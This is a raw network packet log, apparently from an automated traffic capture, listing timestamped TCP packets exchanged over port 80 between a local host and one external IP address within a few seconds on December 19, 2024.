Dec 19, 2024 08:01:09.513606071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.513622046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.513637066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.513652086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.514322996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.514359951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.514369965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.514384031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.514410019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.515161037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.515175104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.515191078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.515206099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.515948057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.515963078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.515978098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.515985012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.516007900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.518768072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.518783092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.518796921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.518810987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.519038916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.519052982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.519068003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.519077063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.519098043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.519848108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.519869089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.519884109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.519901037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.520642996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.520658970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.520673990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.520677090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.520699024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.521357059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.521373034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.521389008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.521405935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.522119999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.522133112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.522147894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.522150993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.522172928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.522981882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.522996902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.523011923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.523026943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.576251030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.657732010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.657756090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.657773018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.657805920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.657864094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.657881021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.657897949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.657900095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.657931089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.658893108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.658931017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.658946037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.658963919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.660145998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.660186052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.660231113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.660248041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.660291910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.661302090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.661520004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.661555052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.690289974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.690310955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.690332890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.690362930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.690615892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.690630913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.690649033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.690660000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.690681934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.691288948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.691303968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.691343069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.691550016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.691570997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.691585064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.691637039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.692395926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.692410946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.692425966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.692435026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.692459106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.693124056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.693150997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.693160057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.693196058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.693907022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.693922043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.693937063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.693991899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.694705009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.694721937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.694777012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.694978952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.694993973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.695008993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.695030928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.695755959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.695770979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.695785046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.695804119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.695827961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.696528912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.696543932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.696557999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.696588039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.697329998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.697345972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.697360992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.697379112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.697403908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.698110104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.698126078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.698139906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.698173046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.698853970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.698879004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.698894978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.698909998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.698930979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.699645042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.699661016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.699676037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.699702978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.700423002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.700439930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.700454950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.700476885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.700488091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.701457977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.701472044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.701486111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.701533079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.702027082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.702055931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.702075958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.702078104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.702111959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.702728033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.702747107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.702765942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.702784061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.703493118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.703511953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.703531027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.703536987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.703562975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.704255104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.704273939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.704313040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.704317093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.705090046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.705115080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.705135107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.705140114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.705167055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.705828905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.705853939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.705873013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.705893040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.706688881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.706708908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.706727028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.706728935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.706756115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.707360983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.707374096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.707389116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.707410097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.708161116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.708173990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.708187103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.708198071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.708224058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.711103916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.711122036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.711136103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.711184978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.711430073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.711472988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.711487055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.711499929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.711524963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.712245941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.712260962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.712274075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.712317944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.713041067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.713056087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.713069916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.713083029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.713115931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.713800907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.713814974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.713829994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.713869095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.714576006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.714586973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.714597940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.714616060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.714642048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.715398073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.715411901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.715467930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.848850965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.848891973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.848907948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.848933935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.849107027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.849143982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.849169970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.849183083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.849217892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.849900961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.849950075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.849963903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.849988937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.850780010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.850826025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.850828886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.850846052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.850889921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.851795912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.851857901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.851907969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.882566929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.882587910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.882602930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.882677078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.882762909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.882798910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.882817984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.882829905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.882864952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.883510113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.883702040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.883733988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.883745909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.883979082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.884021044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.884038925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.884052992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.884083033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.884766102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.884802103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.884823084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.884854078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.885531902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.885571957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.885596991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.885610104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.885647058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.886374950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.886430979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.886445045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.886471987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.887089968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.887129068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.887154102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.887167931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.887276888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.887891054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.887923956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.887934923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.887960911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.888655901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.888679028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.888689995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.888690948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.888745070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.889421940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.889483929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.889494896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.889517069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.890216112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.890276909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.890289068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.890295982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.890332937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.891016006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.891102076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.891115904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.891143084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.891751051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.891793013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.891828060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.891841888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.891879082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.892661095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.892714977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.892729044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.892752886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.893302917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.893341064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.893368959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.893376112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.893409014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.894052029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.894105911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.894117117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.894140005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.894860983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.894886971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.894897938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.894906998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.894929886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.895776033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.895818949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.895833015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.895859003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.896528959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.896578074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.896584988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.896591902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.896626949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.897161961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.897217989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.897231102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.897262096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.897964954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.898015976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.898020983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.898034096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.898072004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.898716927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.898772955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.898786068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.898814917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.899513960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.899558067 CET	80	49739	194.87.47.113	192.168.2.9
